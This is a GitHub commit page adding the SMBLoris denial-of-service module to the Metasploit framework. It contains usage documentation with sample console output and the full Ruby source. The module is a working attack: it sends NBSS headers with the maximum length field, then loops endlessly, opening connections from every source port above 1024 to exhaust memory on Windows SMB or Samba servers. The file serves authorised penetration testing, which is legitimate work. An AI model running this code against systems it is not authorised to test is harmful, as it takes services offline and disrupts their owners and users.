Skip to content

Commit bb5fffe

Browse files
committed
Land rapid7#8796, SMBLoris Denial of Service Module.
2 parents 1b6acd7 + 901a1fd commit bb5fffe

File tree

2 files changed

+132
-0
lines changed

2 files changed

+132
-0
lines changed
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
## Vulnerable Application
2+
3+
This module exploits a vulnerability in the NetBIOS Session Service Header for SMB.
4+
Any Windows machine with SMB Exposed, or any Linux system running Samba are vulnerable.
5+
See [the SMBLoris page](http://smbloris.com/) for details on the vulnerability.
6+
7+
The module opens over 64,000 connections to the target service, so please make sure
8+
your system ULIMIT is set appropriately to handle it. A single host running this module
9+
can theoretically consume up to 8GB of memory on the target.
10+
11+
## Verification Steps
12+
13+
Example steps in this format (is also in the PR):
14+
15+
1. Start msfconsole
16+
1. Do: `use auxiliary/dos/smb/smb_loris`
17+
1. Do: `set RHOST [IP]`
18+
1. Do: `run`
19+
1. Target should allocate increasing amounts of memory.
20+
21+
## Scenarios
22+
23+
###
24+
25+
```
26+
msf auxiliary(smb_loris) > use auxiliary/dos/smb/smb_loris
27+
msf auxiliary(smb_loris) > set RHOST 192.168.172.138
28+
RHOST => 192.168.172.138
29+
msf auxiliary(smb_loris) >
30+
31+
msf auxiliary(smb_loris) > run
32+
33+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1025
34+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1026
35+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1027
36+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1028
37+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1029
38+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1030
39+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1031
40+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1032
41+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1033
42+
....
43+
```
Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'bindata'
7+
require 'ruby_smb'
8+
9+
class MetasploitModule < Msf::Auxiliary
10+
include Msf::Exploit::Remote::Tcp
11+
include Msf::Auxiliary::Dos
12+
13+
class NbssHeader < BinData::Record
14+
endian :little
15+
uint8 :message_type
16+
bit7 :flags
17+
bit17 :message_length
18+
end
19+
20+
def initialize(info = {})
21+
super(update_info(info,
22+
'Name' => 'SMBLoris NBSS Denial of Service',
23+
'Description' => %q{
24+
The SMBLoris attack consumes large chunks of memory in the target by sending
25+
SMB requests with the NetBios Session Service(NBSS) Length Header value set
26+
to the maximum possible value. By keeping these connections open and initiating
27+
large numbers of these sessions, the memory does not get freed, and the server
28+
grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
29+
and Zach Harding.
30+
31+
DISCALIMER: This module opens a lot of simultaneous connections. Please check
32+
your system's ULIMIT to make sure it can handle it. This module will also run
33+
continuously until stopped.
34+
},
35+
'Author' =>
36+
[
37+
'thelightcosine'
38+
],
39+
'License' => MSF_LICENSE,
40+
'References' =>
41+
[
42+
[ 'URL', 'http://smbloris.com/' ]
43+
],
44+
'DisclosureDate' => 'Jul 29 2017'
45+
))
46+
47+
register_options(
48+
[
49+
Opt::RPORT(445)
50+
])
51+
end
52+
53+
def run
54+
header = NbssHeader.new
55+
header.message_length = 0x01FFFF
56+
57+
linger = Socket::Option.linger(true, 60)
58+
59+
while true do
60+
sockets = {}
61+
(1025..65535).each do |src_port|
62+
print_status "Sending packet from Source Port: #{src_port}"
63+
opts = {
64+
'CPORT' => src_port,
65+
'ConnectTimeout' => 360
66+
}
67+
68+
if sockets[src_port]
69+
disconnect(sockets[src_port])
70+
end
71+
72+
begin
73+
nsock = connect(false, opts)
74+
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
75+
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
76+
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
77+
nsock.setsockopt(linger)
78+
nsock.write(header.to_binary_s)
79+
sockets[src_port] = nsock
80+
rescue ::Exception => e
81+
print_error "Exception sending packet: #{e.message}"
82+
end
83+
end
84+
end
85+
86+
87+
end
88+
89+
end

0 commit comments

Comments
 (0)